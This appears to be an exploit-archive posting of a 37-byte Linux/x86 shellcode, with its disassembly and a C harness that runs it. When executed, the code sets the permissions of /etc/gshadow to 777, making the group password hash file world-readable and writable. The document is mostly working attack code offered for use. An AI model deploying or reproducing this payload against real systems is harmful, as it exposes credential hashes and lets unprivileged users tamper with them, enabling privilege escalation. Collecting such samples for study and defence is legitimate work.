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Linux/x86 chmod('/etc/gshadow','777') Shellcode

Linux/x86 chmod('/etc/gshadow','777') Shellcode
Posted Jun 17, 2015
Authored by Mohammad Reza Espargham

37 bytes small Linux/x86 chmod('/etc/gshadow','777') shellcode.

tags | x86, shellcode
systems | linux
MD5 | 1b10e6eedde05cfb7136e46c0b829726

Linux/x86 chmod('/etc/gshadow','777') Shellcode

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/*
# Title: Linux/x86 chmod('/etc/gshadow','777') - shellcode 37 bytes
# Platform: linux/x86_64
# Date: 2015-06-15
# Author: Mohammad Reza Espargham
# Linkedin : https://ir.linkedin.com/in/rezasp
# E-Mail : me[at]reza[dot]es , reza.espargham[at]gmail[dot]com
# Website : www.reza.es
# Twitter : https://twitter.com/rezesp
# FaceBook : https://www.facebook.com/mohammadreza.espargham


Disassembly of section .text:

00000000 <.text>:
0: 6a 0f push $0xf
2: 58 pop %eax
3: 68 90 90 ff 01 push $0x1ff9090
8: 59 pop %ecx
9: c1 e9 10 shr $0x10,%ecx
c: 68 61 64 6f 77 push $0x776f6461
11: 68 2f 67 73 68 push $0x6873672f
16: 68 2f 65 74 63 push $0x6374652f
1b: 89 e3 mov %esp,%ebx
1d: cd 80 int $0x80
1f: b0 01 mov $0x1,%al
21: b3 01 mov $0x1,%bl
23: cd 80 int $0x80
*/

#include <stdio.h>
#include <string.h>
int main(){
unsigned char shellcode[]=
"\x6a\x0f\x58\x68\x90\x90\xff\x01\x59\xc1\xe9\x10\x68\x61\x64\x6f\x77\x68\x2f\x67\x73\x68\x68\x2f\x65\x74\x63\x89\xe3\xcd\x80\xb0\x01\xb3\x01\xcd\x80";
fprintf(stdout,"Length: %d\n\n",strlen(shellcode));
(*(void(*)()) shellcode)();
}

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